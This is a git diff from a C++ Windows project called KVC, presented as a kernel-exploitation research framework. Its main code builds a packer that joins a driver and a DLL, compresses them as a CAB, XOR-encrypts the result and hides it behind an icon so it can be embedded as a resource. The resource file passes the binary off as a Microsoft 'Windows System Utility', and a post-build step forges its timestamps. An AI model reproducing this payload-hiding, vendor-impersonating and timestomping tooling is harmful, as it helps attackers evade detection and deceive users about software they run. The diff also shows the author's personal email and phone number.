} else if (key == "DllFile") {
|
||||
config.dll_file = value;
|
||||
} else if (key == "IconFile") {
|
||||
config.icon_file = value;
|
||||
} else if (key == "OutputFile") {
|
||||
config.output_file = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Validate config
|
||||
if (config.driver_file.empty() || config.dll_file.empty() ||
|
||||
config.icon_file.empty() || config.output_file.empty()) {
|
||||
return std::unexpected("Incomplete configuration in INI file");
|
||||
}
|
||||
|
||||
return config;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
// Cabinet API callback structures
|
||||
struct CabContext {
|
||||
std::string input_file;
|
||||
std::string output_file;
|
||||
UINT temp_file_counter = 0;
|
||||
};
|
||||
|
||||
// FCI callbacks
|
||||
FNFCIALLOC(fci_alloc) {
|
||||
return malloc(cb);
|
||||
}
|
||||
|
||||
FNFCIFREE(fci_free) {
|
||||
free(memory);
|
||||
}
|
||||
|
||||
FNFCIOPEN(fci_open) {
|
||||
int flags = 0;
|
||||
|
||||
if (oflag & _O_RDWR) flags = GENERIC_READ | GENERIC_WRITE;
|
||||
else if (oflag & _O_WRONLY) flags = GENERIC_WRITE;
|
||||
else flags = GENERIC_READ;
|
||||
|
||||
DWORD creation = OPEN_EXISTING;
|
||||
if (oflag & _O_CREAT) {
|
||||
creation = CREATE_ALWAYS;
|
||||
}
|
||||
|
||||
HANDLE handle = CreateFileA(
|
||||
pszFile,
|
||||
flags,
|
||||
FILE_SHARE_READ,
|
||||
nullptr,
|
||||
creation,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
nullptr
|
||||
);
|
||||
|
||||
return (INT_PTR)handle;
|
||||
}
|
||||
|
||||
FNFCIREAD(fci_read) {
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile((HANDLE)hf, memory, cb, &bytesRead, nullptr)) {
|
||||
return -1;
|
||||
}
|
||||
return bytesRead;
|
||||
}
|
||||
|
||||
FNFCIWRITE(fci_write) {
|
||||
DWORD bytesWritten = 0;
|
||||
if (!WriteFile((HANDLE)hf, memory, cb, &bytesWritten, nullptr)) {
|
||||
return -1;
|
||||
}
|
||||
return bytesWritten;
|
||||
}
|
||||
|
||||
FNFCICLOSE(fci_close) {
|
||||
CloseHandle((HANDLE)hf);
|
||||
return 0;
|
||||
}
|
||||
|
||||
FNFCISEEK(fci_seek) {
|
||||
return SetFilePointer((HANDLE)hf, dist, nullptr, seektype);
|
||||
}
|
||||
|
||||
FNFCIDELETE(fci_delete) {
|
||||
DeleteFileA(pszFile);
|
||||
return 0;
|
||||
}
|
||||
|
||||
FNFCIGETTEMPFILE(fci_get_temp_file) {
|
||||
CabContext* ctx = static_cast<CabContext*>(pv);
|
||||
snprintf(pszTempName, cbTempName, "temp_cab_%u.tmp", ctx->temp_file_counter++);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FNFCIGETNEXTCABINET(fci_get_next_cabinet) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FNFCIFILEPLACED(fci_file_placed) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
FNFCISTATUS(fci_status) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
FNFCIGETOPENINFO(fci_get_open_info) {
|
||||
WIN32_FIND_DATAA findData;
|
||||
HANDLE findHandle = FindFirstFileA(pszName, &findData);
|
||||
|
||||
if (findHandle == INVALID_HANDLE_VALUE) {
|
||||
return -1;
|
||||
}
|
||||
FindClose(findHandle);
|
||||
|
||||
FILETIME ftLocal;
|
||||
FileTimeToLocalFileTime(&findData.ftLastWriteTime, &ftLocal);
|
||||
FileTimeToDosDateTime(&ftLocal, pdate, ptime);
|
||||
|
||||
*pattribs = findData.dwFileAttributes &
|
||||
(FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN |
|
||||
FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_ARCHIVE);
|
||||
|
||||
HANDLE handle = CreateFileA(
|
||||
pszName,
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ,
|
||||
nullptr,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
nullptr
|
||||
);
|
||||
|
||||
if (handle == INVALID_HANDLE_VALUE) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return (INT_PTR)handle;
|
||||
}
|
||||
|
||||
// Create CAB file
|
||||
ResultVoid create_cab_file(const std::string& input_file, const std::string& output_file) {
|
||||
CabContext context;
|
||||
context.input_file = input_file;
|
||||
context.output_file = output_file;
|
||||
|
||||
ERF erf = {};
|
||||
CCAB ccab = {};
|
||||
|
||||
// Setup cabinet parameters
|
||||
ccab.cb = 0x7FFFFFFF; // Max cabinet size
|
||||
ccab.cbFolderThresh = 0x7FFFFFFF;
|
||||
ccab.cbReserveCFHeader = 0;
|
||||
ccab.cbReserveCFFolder = 0;
|
||||
ccab.cbReserveCFData = 0;
|
||||
ccab.iCab = 1;
|
||||
ccab.iDisk = 0;
|
||||
ccab.setID = 0;
|
||||
strncpy_s(ccab.szCab, output_file.c_str(), _TRUNCATE);
|
||||
strcpy_s(ccab.szCabPath, "");
|
||||
|
||||
// Create FCI context
|
||||
HFCI hfci = FCICreate(
|
||||
&erf,
|
||||
fci_file_placed,
|
||||
fci_alloc,
|
||||
fci_free,
|
||||
fci_open,
|
||||
fci_read,
|
||||
fci_write,
|
||||
fci_close,
|
||||
fci_seek,
|
||||
fci_delete,
|
||||
fci_get_temp_file,
|
||||
&ccab,
|
||||
&context
|
||||
);
|
||||
|
||||
if (!hfci) {
|
||||
return std::unexpected("Failed to create FCI context");
|
||||
}
|
||||
|
||||
// Add file to cabinet with LZX compression
|
||||
BOOL result = FCIAddFile(
|
||||
hfci,
|
||||
const_cast<char*>(input_file.c_str()),
|
||||
const_cast<char*>(fs::path(input_file).filename().string().c_str()),
|
||||
FALSE,
|
||||
fci_get_next_cabinet,
|
||||
fci_status,
|
||||
fci_get_open_info,
|
||||
tcompTYPE_LZX | tcompLZX_WINDOW_HI
|
||||
);
|
||||
|
||||
if (!result) {
|
||||
FCIDestroy(hfci);
|
||||
return std::unexpected("Failed to add file to cabinet");
|
||||
}
|
||||
|
||||
// Flush and close cabinet
|
||||
result = FCIFlushCabinet(hfci, FALSE, fci_get_next_cabinet, fci_status);
|
||||
FCIDestroy(hfci);
|
||||
|
||||
if (!result) {
|
||||
return std::unexpected("Failed to flush cabinet");
|
||||
}
|
||||
|
||||
return {};
|
||||
}
|
||||
#endif
|
||||
|
||||
// Delete file using WinAPI
|
||||
bool delete_file_winapi(const std::string& filename) {
|
||||
std::wstring wide_filename;
|
||||
int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
|
||||
if (size > 0) {
|
||||
wide_filename.resize(size);
|
||||
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
|
||||
}
|
||||
return DeleteFileW(wide_filename.c_str());
|
||||
}
|
||||
|
||||
// Main packaging function
|
||||
ResultVoid package_files(const Config& config) {
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard cyan(Color::Cyan);
|
||||
std::cout << "=== FILE PACKAGING SCRIPT ===\n";
|
||||
}
|
||||
{
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << "Starting packaging process...\n";
|
||||
}
|
||||
|
||||
// Step 0: Display configuration
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard yellow(Color::Yellow);
|
||||
std::cout << "Step 0: Configuration loaded\n";
|
||||
}
|
||||
std::cout << " - Driver: " << config.driver_file << "\n";
|
||||
std::cout << " - DLL: " << config.dll_file << "\n";
|
||||
std::cout << " - Icon: " << config.icon_file << "\n";
|
||||
std::cout << " - Output: " << config.output_file << "\n";
|
||||
|
||||
// Step 1: Verify input files using WinAPI
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard yellow(Color::Yellow);
|
||||
std::cout << "Step 1: Verifying input files...\n";
|
||||
}
|
||||
|
||||
std::vector<std::string> required_files = {
|
||||
config.driver_file,
|
||||
config.dll_file,
|
||||
config.icon_file
|
||||
};
|
||||
|
||||
for (const auto& file : required_files) {
|
||||
if (!file_exists_winapi(file)) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X File not found: " << file << "\n";
|
||||
|
||||
// Debug info
|
||||
std::cout << " Debug bytes: ";
|
||||
for (char c : file) {
|
||||
printf("%02X ", (unsigned char)c);
|
||||
}
|
||||
std::cout << "\n";
|
||||
|
||||
return std::unexpected("ABORTING: Required file missing: " + file);
|
||||
}
|
||||
|
||||
auto size_result = get_file_size_winapi(file);
|
||||
if (!size_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X Cannot get size for: " << file << " - " << size_result.error() << "\n";
|
||||
return std::unexpected(size_result.error());
|
||||
}
|
||||
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << " + Found: " << file << " (" << format_size_kb(size_result.value()) << ")\n";
|
||||
}
|
||||
|
||||
// Step 2: Concatenate PE files
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard yellow(Color::Yellow);
|
||||
std::cout << "Step 2: Concatenating PE files...\n";
|
||||
}
|
||||
|
||||
auto driver_result = read_file_winapi(config.driver_file);
|
||||
if (!driver_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X Failed to read driver file: " << driver_result.error() << "\n";
|
||||
return std::unexpected(driver_result.error());
|
||||
}
|
||||
|
||||
auto dll_result = read_file_winapi(config.dll_file);
|
||||
if (!dll_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X Failed to read DLL file: " << dll_result.error() << "\n";
|
||||
return std::unexpected(dll_result.error());
|
||||
}
|
||||
|
||||
std::vector<uint8_t> concatenated_data;
|
||||
concatenated_data.reserve(driver_result->size() + dll_result->size());
|
||||
concatenated_data.insert(concatenated_data.end(), driver_result->begin(), driver_result->end());
|
||||
concatenated_data.insert(concatenated_data.end(), dll_result->begin(), dll_result->end());
|
||||
|
||||
auto write_result = write_file_winapi(std::string(TEMP_EVTX), concatenated_data);
|
||||
if (!write_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X Failed to create concatenated file: " << write_result.error() << "\n";
|
||||
return std::unexpected(write_result.error());
|
||||
}
|
||||
|
||||
{
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << " + Created: " << TEMP_EVTX << " ("
|
||||
<< format_size_kb(concatenated_data.size()) << ")\n";
|
||||
}
|
||||
|
||||
// Step 3: Compress with CAB
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard yellow(Color::Yellow);
|
||||
std::cout << "Step 3: Compressing with CAB...\n";
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
auto cab_result = create_cab_file(std::string(TEMP_EVTX), std::string(TEMP_CAB));
|
||||
if (!cab_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X CAB compression failed: " << cab_result.error() << "\n";
|
||||
return std::unexpected(cab_result.error());
|
||||
}
|
||||
|
||||
auto cab_size_result = get_file_size_winapi(std::string(TEMP_CAB));
|
||||
if (!cab_size_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X Cannot get CAB file size: " << cab_size_result.error() << "\n";
|
||||
return std::unexpected(cab_size_result.error());
|
||||
}
|
||||
|
||||
{
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << " + Created: " << TEMP_CAB << " (" << format_size_kb(cab_size_result.value()) << ")\n";
|
||||
}
|
||||
#else
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X CAB compression is only supported on Windows\n";
|
||||
return std::unexpected("CAB compression requires Windows Cabinet API");
|
||||
#endif
|
||||
|
||||
// Step 4: XOR encrypt the CAB file
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard yellow(Color::Yellow);
|
||||
std::cout << "Step 4: XOR encrypting CAB file...\n";
|
||||
}
|
||||
|
||||
auto cab_data_result = read_file_winapi(std::string(TEMP_CAB));
|
||||
if (!cab_data_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X Failed to read CAB file: " << cab_data_result.error() << "\n";
|
||||
return std::unexpected(cab_data_result.error());
|
||||
}
|
||||
|
||||
std::vector<uint8_t> encrypted_cab = std::move(cab_data_result.value());
|
||||
xor_data(encrypted_cab, XOR_KEY);
|
||||
|
||||
{
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << " + CAB file encrypted (" << encrypted_cab.size() << " bytes)\n";
|
||||
}
|
||||
|
||||
// Step 5: Create final package with icon
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard yellow(Color::Yellow);
|
||||
std::cout << "Step 5: Creating final package with icon...\n";
|
||||
}
|
||||
|
||||
auto icon_result = read_file_winapi(config.icon_file);
|
||||
if (!icon_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X Failed to read icon file: " << icon_result.error() << "\n";
|
||||
return std::unexpected(icon_result.error());
|
||||
}
|
||||
|
||||
std::vector<uint8_t> final_package;
|
||||
final_package.reserve(icon_result->size() + encrypted_cab.size());
|
||||
final_package.insert(final_package.end(), icon_result->begin(), icon_result->end());
|
||||
final_package.insert(final_package.end(), encrypted_cab.begin(), encrypted_cab.end());
|
||||
|
||||
auto final_write_result = write_file_winapi(config.output_file, final_package);
|
||||
if (!final_write_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cout << " X Failed to create final package: " << final_write_result.error() << "\n";
|
||||
return std::unexpected(final_write_result.error());
|
||||
}
|
||||
|
||||
{
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << " + Final package created: " << config.output_file
|
||||
<< " (" << format_size_kb(final_package.size()) << ")\n";
|
||||
}
|
||||
|
||||
// Step 6: Cleanup temporary files
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard yellow(Color::Yellow);
|
||||
std::cout << "Step 6: Cleaning up temporary files...\n";
|
||||
}
|
||||
|
||||
std::vector<std::string_view> temp_files = { TEMP_EVTX, TEMP_CAB };
|
||||
for (const auto& temp_file : temp_files) {
|
||||
if (file_exists_winapi(std::string(temp_file))) {
|
||||
if (delete_file_winapi(std::string(temp_file))) {
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << " + Removed: " << temp_file << "\n";
|
||||
} else {
|
||||
ColorGuard yellow(Color::Yellow);
|
||||
std::cout << " ! Warning: Could not remove " << temp_file << "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Final summary
|
||||
std::cout << "\n";
|
||||
{
|
||||
ColorGuard cyan(Color::Cyan);
|
||||
std::cout << "=== PACKAGING COMPLETED SUCCESSFULLY ===\n";
|
||||
}
|
||||
std::cout << "Output file: " << config.output_file << "\n";
|
||||
std::cout << "Total size: " << format_size_kb(final_package.size()) << "\n";
|
||||
std::cout << "Structure: [" << icon_result->size() << "-byte icon] + [XOR-encrypted CAB]\n";
|
||||
std::cout << "Breakdown:\n";
|
||||
std::cout << " - Icon: " << icon_result->size() << " bytes\n";
|
||||
std::cout << " - Encrypted CAB: " << encrypted_cab.size() << " bytes\n";
|
||||
{
|
||||
ColorGuard green(Color::Green);
|
||||
std::cout << "\nThe file is ready for embedding as a resource!\n";
|
||||
}
|
||||
|
||||
return {};
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
// Set console to UTF-8 mode
|
||||
SetConsoleOutputCP(CP_UTF8);
|
||||
SetConsoleCP(CP_UTF8);
|
||||
|
||||
std::string config_file = std::string(DEFAULT_CONFIG);
|
||||
|
||||
if (argc > 1) {
|
||||
config_file = argv[1];
|
||||
}
|
||||
|
||||
std::cout << "Reading configuration from: " << config_file << "\n";
|
||||
|
||||
auto config_result = read_config(config_file);
|
||||
if (!config_result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cerr << "Error: " << config_result.error() << "\n";
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto result = package_files(config_result.value());
|
||||
if (!result) {
|
||||
ColorGuard red(Color::Red);
|
||||
std::cerr << "\nError: " << result.error() << "\n";
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
22
kvc/implementer.filters
Normal file
22
kvc/implementer.filters
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="implementer.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
77
kvc/implementer.rc
Normal file
77
kvc/implementer.rc
Normal file
@@ -0,0 +1,77 @@
|
||||
// Microsoft Visual C++ generated resource script.
|
||||
// implementer.exe Resource File - Microsoft Corporation branding
|
||||
//
|
||||
#include "resource.h"
|
||||
|
||||
#define APSTUDIO_READONLY_SYMBOLS
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "winres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// English (United States) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
|
||||
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Icon
|
||||
//
|
||||
|
||||
IDI_ICON1 ICON "ICON\\kvc.ico"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Version Information - Microsoft Corporation branding
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 10,0,26200,8460
|
||||
PRODUCTVERSION 10,0,26200,8460
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
FILEFLAGS 0x1L
|
||||
#else
|
||||
FILEFLAGS 0x0L
|
||||
#endif
|
||||
FILEOS 0x40004L
|
||||
FILETYPE 0x1L // VFT_APP - Application file type
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904b0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Microsoft Corporation"
|
||||
VALUE "FileDescription", "Windows System Utility"
|
||||
VALUE "FileVersion", "10.0.26200.8460"
|
||||
VALUE "InternalName", "implementer.exe"
|
||||
VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved."
|
||||
VALUE "OriginalFilename", "implementer.exe"
|
||||
VALUE "ProductName", "Microsoft® Windows® Operating System"
|
||||
VALUE "ProductVersion", "10.0.26200.8460"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x409, 1200
|
||||
END
|
||||
END
|
||||
|
||||
#endif // English (United States) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 3 resource.
|
||||
//
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#endif // not APSTUDIO_INVOKED
|
||||
84
kvc/implementer.vcxproj
Normal file
84
kvc/implementer.vcxproj
Normal file
@@ -0,0 +1,84 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{376BAFB6-0DB9-4BFF-903A-779B4CE72CBC}</ProjectGuid>
|
||||
<RootNamespace>implementer</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings" />
|
||||
<ImportGroup Label="Shared" />
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
|
||||
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
|
||||
<TargetName>implementer</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="implementer.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="implementer.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="ICON\kvc.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets" />
|
||||
</Project>
|
||||
4
kvc/implementer.vcxproj.user
Normal file
4
kvc/implementer.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -1,84 +0,0 @@
|
||||
$introText = @"
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
"@
|
||||
|
||||
# Get all .cpp files in current directory
|
||||
$cppFiles = Get-ChildItem -Path . -Filter "*.cpp"
|
||||
|
||||
# Count files with and without intro
|
||||
$filesWithIntro = 0
|
||||
$filesWithoutIntro = 0
|
||||
|
||||
foreach ($file in $cppFiles) {
|
||||
$content = Get-Content -Raw $file.FullName
|
||||
$introPattern = [regex]::Escape($introText.Trim())
|
||||
|
||||
if ($content -match $introPattern) {
|
||||
$filesWithIntro++
|
||||
}
|
||||
else {
|
||||
$filesWithoutIntro++
|
||||
}
|
||||
}
|
||||
|
||||
# Display summary
|
||||
Write-Host "Found intro in $filesWithIntro files" -ForegroundColor Yellow
|
||||
if ($filesWithIntro -gt 0) {
|
||||
$choice = Read-Host "Remove intro from all these files in batch? (Y/N)"
|
||||
if ($choice -eq 'Y' -or $choice -eq 'y') {
|
||||
foreach ($file in $cppFiles) {
|
||||
$content = Get-Content -Raw $file.FullName
|
||||
$introPattern = [regex]::Escape($introText.Trim())
|
||||
|
||||
if ($content -match $introPattern) {
|
||||
$newContent = $content -replace $introPattern, ""
|
||||
$newContent = $newContent.TrimStart()
|
||||
Set-Content -Path $file.FullName -Value $newContent -NoNewline
|
||||
Write-Host "Removed intro from $($file.Name)" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "Intro not found in $filesWithoutIntro files" -ForegroundColor Yellow
|
||||
if ($filesWithoutIntro -gt 0) {
|
||||
$choice = Read-Host "Add intro to all these files in batch? (Y/N)"
|
||||
if ($choice -eq 'Y' -or $choice -eq 'y') {
|
||||
foreach ($file in $cppFiles) {
|
||||
$content = Get-Content -Raw $file.FullName
|
||||
$introPattern = [regex]::Escape($introText.Trim())
|
||||
|
||||
if (-not ($content -match $introPattern)) {
|
||||
$newContent = $introText + "`r`n" + $content
|
||||
Set-Content -Path $file.FullName -Value $newContent -NoNewline
|
||||
Write-Host "Added intro to $($file.Name)" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "Batch operation completed" -ForegroundColor Cyan
|
||||
@@ -1,933 +0,0 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
